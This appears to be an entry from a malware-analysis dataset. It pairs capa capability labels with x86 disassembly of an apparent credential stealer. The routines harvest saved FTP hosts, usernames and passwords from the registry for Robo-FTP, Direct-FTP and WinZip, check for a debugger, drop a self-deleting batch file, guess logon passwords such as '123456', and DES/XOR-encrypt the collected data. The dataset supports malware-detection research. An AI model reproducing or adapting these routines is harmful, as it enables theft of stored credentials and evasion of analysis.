joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40cead
Capabilities:
Gather robo-ftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
lea eax, [ebp - 4]
push eax
push str.FTP_Count
push str.SOFTWARERobo_FTP_3.7Scripts
push dword [ebp + 0xc]
call fcn.00401b46
or eax, eax
je 0x40cf38
push eax
cmp dword [ebp - 4], 4
jne 0x40cf33
push dword [eax]
pop dword [ebp - 8]
cmp dword [ebp - 8], 0x1f4
jbe 0x40cee9
mov dword [ebp - 8], 0x1f4
jmp 0x40cf2d
push dword [ebp - 8]
push str.FTP_File_d
lea eax, [ebp - 0x1c]
push eax
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0
lea eax, [ebp - 0x1c]
push eax
push str.SOFTWARERobo_FTP_3.7Scripts
push dword [ebp + 0xc]
call fcn.00401b46
or eax, eax
je 0x40cf2a
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.00403c89
call fcn.00401752
dec dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x40ceeb
call fcn.00401752
leave
ret 8

Function at 0x40d1a2
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x411827]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40d374
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40d1fa
jmp 0x40d36c
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401bcd
mov dword [ebp - 0x824], eax
call fcn.00401752
push 0
push str.Host
push dword [ebp - 0x824]
push dword [0x411827]
call fcn.00401b46
mov dword [ebp - 0x810], eax
push 0
push str.User
push dword [ebp - 0x824]
push dword [0x411827]
call fcn.00401b46
mov dword [ebp - 0x814], eax
push 0
push str.Pass
push dword [ebp - 0x824]
push dword [0x411827]
call fcn.00401b46
mov dword [ebp - 0x818], eax
push 0
push 0x4137c5
push dword [ebp - 0x824]
push dword [0x411827]
call fcn.00401b46
mov dword [ebp - 0x81c], eax
push 0
push str.Remote_Dir
push dword [ebp - 0x824]
push dword [0x411827]
call fcn.00401b46
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x814], 0
je 0x40d314
push 0xbeef0000
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.0040d1a2
push dword [ebp - 0x824]
call fcn.00401752
push dword [ebp - 0x810]
call fcn.00401752
push dword [ebp - 0x814]
call fcn.00401752
push dword [ebp - 0x818]
call fcn.00401752
push dword [ebp - 0x81c]
call fcn.00401752
push dword [ebp - 0x820]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x40d1cc
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x40d5dc
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40d7bc
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40d631
jmp 0x40d7b4
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401bcd
mov dword [ebp - 0x828], eax
call fcn.00401752
push 0
push str.HostName
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x810], eax
push 0
push str.UserName
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x814], eax
push 0
push str.Password
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.PortNumber
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x81c], eax
push 0
push str.TerminalType
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x810], 0
je 0x40d759
cmp dword [ebp - 0x814], 0
je 0x40d759
cmp dword [ebp - 0x818], 0
je 0x40d759
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.004014e6
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x814]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x824]
push dword [ebp - 0x81c]
push dword [ebp + 0x10]
call fcn.0040151c
push dword [ebp - 0x820]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp + 0x10]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040d5dc
push dword [ebp - 0x828]
call fcn.00401752
push dword [ebp - 0x810]
call fcn.00401752
push dword [ebp - 0x814]
call fcn.00401752
push dword [ebp - 0x818]
call fcn.00401752
push dword [ebp - 0x81c]
call fcn.00401752
push dword [ebp - 0x820]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x40d603
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40d844
Capabilities:
Gather direct-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40da79
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40d899
jmp 0x40da71
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401bcd
mov dword [ebp - 0x828], eax
call fcn.00401752
push 0
push str.FTP_destination_server
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x810], eax
push 0
push str.FTP_destination_user
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x814], eax
push 0
push str.FTP_destination_password
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.FTP_destination_port
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x81c], eax
push 0
push str.FTP_destination_catalog
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x830]
push eax
push str.FTP_profiles
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x810], 0
je 0x40d9e1
cmp dword [ebp - 0x814], 0
je 0x40d9e1
cmp dword [ebp - 0x818], 0
je 0x40d9e1
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.004014e6
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x814]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x824]
push dword [ebp - 0x81c]
push dword [ebp + 0x10]
call fcn.0040151c
push dword [ebp - 0x820]
push dword [ebp + 0x10]
call fcn.00401548
cmp dword [ebp - 0x830], 0
je 0x40da0b
push 0xbeef0001
push dword [ebp + 0x10]
call fcn.004014e6
push dword [ebp - 0x830]
push dword [ebp - 0x82c]
push dword [ebp + 0x10]
call fcn.0040151c
push dword [ebp + 0x10]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040d844
push dword [ebp - 0x828]
call fcn.00401752
push dword [ebp - 0x810]
call fcn.00401752
push dword [ebp - 0x814]
call fcn.00401752
push dword [ebp - 0x818]
call fcn.00401752
push dword [ebp - 0x81c]
call fcn.00401752
push dword [ebp - 0x820]
call fcn.00401752
push dword [ebp - 0x82c]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x40d86b
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40de19
Capabilities:
Gather winzip information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40df5e
push 0
push str.Site
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 8], eax
push 0
push str.UserID
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
push eax
push str.xflags
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x10], eax
push 0
push str.Port
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x14], eax
push 0
push str.Folder
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x10], 0
je 0x40df2e
cmp dword [ebp - 0x1c], 0
je 0x40df2e
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call fcn.004028e2
or eax, eax
je 0x40df2e
shr dword [ebp - 0x1c], 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x10]
call fcn.00403ff9
or eax, eax
je 0x40df2e
cmp dword [ebp - 8], 0
je 0x40df2e
cmp dword [ebp - 0xc], 0
je 0x40df2e
cmp dword [ebp - 0x10], 0
je 0x40df2e
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.004014e6
push dword [ebp - 8]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
push dword [ebp + 0x10]
call fcn.0040151c
push dword [ebp - 0x14]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x18]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 8]
call fcn.00401752
push dword [ebp - 0xc]
call fcn.00401752
push dword [ebp - 0x10]
call fcn.00401752
push dword [ebp - 0x14]
call fcn.00401752
push dword [ebp - 0x18]
call fcn.00401752
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x40df62
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40e027
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
lea eax, [ebp - 0x814]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
or eax, eax
je 0x40dfb9
jmp 0x40e01f
cmp dword [ebp - 0x814], 1
je 0x40dfc7
inc dword [ebp - 8]
jmp 0x40df89
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401b46
or eax, eax
je 0x40e017
mov dword [ebp - 0x810], eax
push str..wjf
push dword [ebp - 0x810]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x40e00c
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.0040dce0
push dword [ebp - 0x810]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x40df89
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40e5db
Capabilities:
Query or enumerate registry key
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
push 0x105
call fcn.00401769
mov dword [ebp - 0x818], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40e716
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40e640
jmp 0x40e70e
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401bcd
mov dword [ebp - 0x810], eax
call fcn.00401752
push 0
push str.Path
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401b46
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x40e6df
push str.PocoSystem.ini
push dword [ebp - 0x814]
call fcn.00401bcd
push eax
push eax
push 0x104
push dword [ebp - 0x818]
push 0x411805
push str.DataPath
push str.Program
call sub.KERNEL32.DLL_GetPrivateProfileStringA
cmp eax, 3
jbe 0x40e6da
push 0xbeef0000
push str.accounts.ini
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.00403f6e
call fcn.00401752
push dword [ebp + 0x10]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040e5db
push dword [ebp - 0x810]
call fcn.00401752
push dword [ebp - 0x814]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x40e612
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 0x818]
call fcn.00401752
leave
ret 0xc
Function at 0x40eeef
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40ef8a
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40ef3d
jmp 0x40ef82
push 0x411803
push dword [ebp + 0x10]
call fcn.00401bcd
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401c21
mov dword [ebp - 0x810], eax
push 0
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040ed5a
push dword [ebp - 0x810]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x40ef12
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x40ef8e
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40f034
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40efe0
jmp 0x40f02c
push 0x411803
push dword [ebp + 0x10]
call fcn.00401bcd
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401c21
push dword [ebp + 0x14]
push eax
call fcn.00401c21
mov dword [ebp - 0x810], eax
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040eeef
push dword [ebp - 0x810]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x40efb5
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0x10

Function at 0x40f566
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
push ebp
mov ebp, esp
pop ebp
push 0x40f57b
clc
jb 0x40f57a
ret
inc edi
inc ebp
cld
add byte [eax], al
add byte [eax], al
mov edi, 0x414121
push dword [ebp + 8]
pop dword [0x4142a9]
mov eax, dword fs:[0x30]
cmp byte [eax + 2], 0
je 0x40f5a4
push dword [ebp + 8]
call fcn.00401021
jmp 0x40f661
call fcn.004021df
push dword [ebp + 8]
call fcn.0040149f
mov dword [0x4142a5], eax
push dword fs:[0]
mov eax, esp
push dword fs:[0]
push ebp
push eax
push 0x40f657
push 0x40f610
push eax
mov dword fs:[0], esp
push dword [ebp + 8]
call dword [edi]
cmp dword [edi], 0x40421a
je 0x40f60b
cmp eax, 0x10
je 0x40f5fa
mov dword [ebp - 4], 1
jmp 0x40f60b
push dword [0x4142a5]
push dword [0x4142a9]
call fcn.004012dc
add esp, 0x18
jmp 0x40f657
pop dword fs:[0]
add edi, 4
cmp dword [edi], 0
jne 0x40f5a9
mov eax, dword [ebp - 4]
pop edi
leave
ret 4
Function at 0x40f9de
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebp
mov ebp, esp
pop ebp
push 0x40f9f2
clc
jb 0x40f9f1
ret
dec dword [ebx - 0x6f36742e]
push 0x105
call fcn.00401769
nop
mov edx, edx
mov ecx, ecx
nop
mov dword [ebp - 0x14], eax
nop
call sub.KERNEL32.DLL_GetTickCount
push eax
push str._d.bat
push dword [ebp - 0x14]
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0x105
call fcn.00401769
nop
mov edx, edx
mov ecx, ecx
nop
mov dword [ebp - 4], eax
mov edx, edx
mov ecx, ecx
nop
push 0x105
call fcn.00401769
nop
mov edx, edx
mov ecx, ecx
mov dword [ebp - 0x10], eax
nop
push 0x105
call fcn.00401769
mov edx, edx
mov ecx, ecx
nop
mov edx, edx
mov ecx, ecx
mov dword [ebp - 8], eax
mov ecx, ecx
mov edx, edx
mov edx, edx
mov ecx, ecx
nop
push 0x104
push dword [ebp - 4]
push dword [0x4142d2]
call sub.KERNEL32.DLL_GetModuleFileNameA
nop
mov edx, edx
mov ecx, ecx
mov edx, edx
mov ecx, ecx
push dword [ebp - 0x10]
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
or eax, eax
je 0x40faa8
mov ecx, ecx
mov edx, edx
nop
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_lstrcatA
mov edx, edx
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_CreateFileA
mov ecx, ecx
mov dword [ebp - 0xc], eax
mov ecx, ecx
inc eax
or eax, eax
jne 0x40fb0f
push dword [ebp - 4]
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_lstrcpyA
push 0x5c
push 0
push dword [ebp - 0x10]
call sub.shlwapi.dll_StrRChrIA
or eax, eax
je 0x40faf2
inc eax
push dword [ebp - 0x14]
push eax
call sub.KERNEL32.DLL_lstrcpyA
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0xc], eax
inc eax
je 0x40fb7a
push str._r_n_t_t_r_n_r_n_t___:ktk____r_n_r_n_r_n_____del_____t__1___r_n_tif___t_t_exist__t____1___t__goto__t_r_ktk_r_n_del__t___0
call sub.KERNEL32.DLL_lstrlenA
push eax
push str._r_n_t_t_r_n_r_n_t___:ktk____r_n_r_n_r_n_____del_____t__1___r_n_tif___t_t_exist__t____1___t__goto__t_r_ktk_r_n_del__t___0
push dword [ebp - 0xc]
call fcn.00401422
push eax
push dword [ebp - 0xc]
call sub.KERNEL32.DLL_CloseHandle
pop eax
or eax, eax
jne 0x40fb37
jmp 0x40fb7a
push dword [ebp - 4]
push str.________s_
push dword [ebp - 8]
call sub.user32.dll_wsprintfA
add esp, 0xc
push str.shell32.dll
call sub.KERNEL32.DLL_LoadLibraryA
or eax, eax
je 0x40fb7a
push str.ShellExecuteA
push eax
call sub.KERNEL32.DLL_GetProcAddress
or eax, eax
je 0x40fb7a
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 0x10]
push str.open
push 0
call eax
push dword [ebp - 0x14]
call fcn.00401752
push dword [ebp - 4]
call fcn.00401752
push dword [ebp - 0x10]
call fcn.00401752
push dword [ebp - 8]
call fcn.00401752
leave
ret
Function at 0x40fca6
Capabilities:
Impersonate user

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push edi
push ebp
mov ebp, esp
pop ebp
push 0x40fcbc
clc
jb 0x40fcbb
ret
inc dword [ebx + 0x411ae93d]
add byte [eax], al
je 0x40fcce
cmp dword [0x411af5], 0
jne 0x40fcd4
sub eax, eax
pop edi
pop ebx
leave
ret
mov ebx, dword [0x4142ad]
jmp 0x40fe70
call fcn.0040299f
cmp dword [0x4142b1], 0
je 0x40fd04
push dword [ebx + 4]
push dword [0x4142b1]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40fd04
jmp 0x40fe6e
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push dword [ebx + 4]
push 0
push dword [ebx + 4]
call dword [0x411af5]
or eax, eax
je 0x40fd2a
jmp 0x40fdb3
push dword [ebx + 4]
call fcn.004027f2
mov dword [ebp - 8], eax
push dword [ebx + 4]
call sub.KERNEL32.DLL_lstrlenA
push eax
push dword [ebp - 8]
push eax
push dword [ebx + 4]
push 0x100
push 0x400
call sub.KERNEL32.DLL_LCMapStringA
or eax, eax
je 0x40fd83
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push dword [ebp - 8]
push 0
push dword [ebx + 4]
call dword [0x411af5]
or eax, eax
je 0x40fd83
push dword [ebp - 8]
call fcn.00401752
jmp 0x40fdb3
push dword [ebp - 8]
call fcn.00401752
mov edi, str.123456
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push edi
push 0
push dword [ebx + 4]
call dword [0x411af5]
or eax, eax
je 0x40fe5c
mov dword [ebp - 0x28], 0x20
mov dword [ebp - 0x24], 1
push dword [ebx + 4]
pop dword [ebp - 0x20]
push dword [ebx + 8]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call sub.userenv.dll_LoadUserProfileA
or eax, eax
je 0x40fe11
cmp dword [ebp - 0xc], 0
je 0x40fe08
push dword [ebp - 0xc]
pop dword [0x411827]
mov dword [ebp - 0x2c], 1
jmp 0x40fe18
mov dword [ebp - 0x2c], 0
push dword [ebp - 4]
call dword [0x411ae9]
or eax, eax
je 0x40fe43
call fcn.0040f8cf
cmp dword [0x411ae1], 0
je 0x40fe39
call dword [0x411ae1]
mov dword [0x411827], 0x80000001
cmp dword [ebp - 0x2c], 0
je 0x40fe54
push dword [ebp - 0xc]
push dword [ebp - 4]
call sub.userenv.dll_UnloadUserProfile
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
cld
xor eax, eax
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
cmp byte [edi], al
jne 0x40fd90
mov ebx, dword [ebx]
or ebx, ebx
jne 0x40fcdf
mov eax, 1
pop edi
pop ebx
leave
ret
Function at 0x4101e0
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
push ebx
push esi
push edi
mov edx, dword [ebp + 8]
xor ebx, ebx
movzx esi, byte [ebx + str.80_]
mov eax, esi
sar eax, 3
movzx eax, byte [eax + edx]
mov ecx, esi
and ecx, 7
movzx ecx, word [ecx + ecx + 0x4144fc]
test eax, ecx
setne cl
movzx eax, cl
mov byte [ebp + ebx - 0x38], al
inc ebx
cmp ebx, 0x38
jl 0x4101f1
xor edx, edx
cmp word [ebp + 0xc], 1
jne 0x410233
mov eax, edx
neg eax
lea ecx, [eax + eax + 0x1e]
jmp 0x410236
lea ecx, [edx + edx]
lea edi, [ecx + 1]
and dword [ebp + edi*4 - 0xf0], 0
and dword [ebp + ecx*4 - 0xf0], 0
xor ebx, ebx
movzx eax, byte [edx + 0x4145a4]
lea esi, [eax + ebx]
cmp esi, 0x1c
jge 0x410264
mov al, byte [ebp + esi - 0x38]
mov byte [ebp + ebx - 0x70], al
jmp 0x41026c
mov al, byte [ebp + esi - 0x54]
mov byte [ebp + ebx - 0x70], al
inc ebx
cmp ebx, 0x1c
jl 0x41024b
mov ebx, 0x1c
movzx eax, byte [edx + 0x4145a4]
lea esi, [eax + ebx]
cmp esi, 0x38
jge 0x410290
mov al, byte [ebp + esi - 0x38]
mov byte [ebp + ebx - 0x70], al
jmp 0x410298
mov al, byte [ebp + esi - 0x54]
mov byte [ebp + ebx - 0x70], al
inc ebx
cmp ebx, 0x38
jl 0x410277
xor ebx, ebx
movzx eax, byte [ebx + 0x4145b4]
cmp byte [ebp + eax - 0x70], 0
je 0x4102bc
mov eax, dword [ebx*4 + 0x41450c]
or dword [ebp + ecx*4 - 0xf0], eax
movzx eax, byte [ebx + 0x4145cc]
cmp byte [ebp + eax - 0x70], 0
je 0x4102d8
mov eax, dword [ebx*4 + 0x41450c]
or dword [ebp + edi*4 - 0xf0], eax
inc ebx
cmp ebx, 0x18
jl 0x4102a0
inc edx
cmp edx, 0x10
jl 0x410222
lea eax, [ebp - 0xf0]
push eax
call fcn.004102fd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x410cd6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push eax
push eax
push ebx
push esi
mov edx, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
xor ecx, ecx
mov al, byte [ecx + edx]
mov byte [ebp + ecx - 8], al
mov al, byte [ecx + edx]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, 8
jl 0x410ce8
push ebx
push edx
call fcn.004107ae
xor edx, edx
lea ecx, [edx + ebx]
mov al, byte [edx + esi]
xor al, byte [ecx]
mov byte [ecx], al
inc edx
cmp edx, 8
jl 0x410d04
xor edx, edx
mov al, byte [ebp + edx - 8]
mov byte [edx + esi], al
inc edx
cmp edx, 8
jl 0x410d16
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc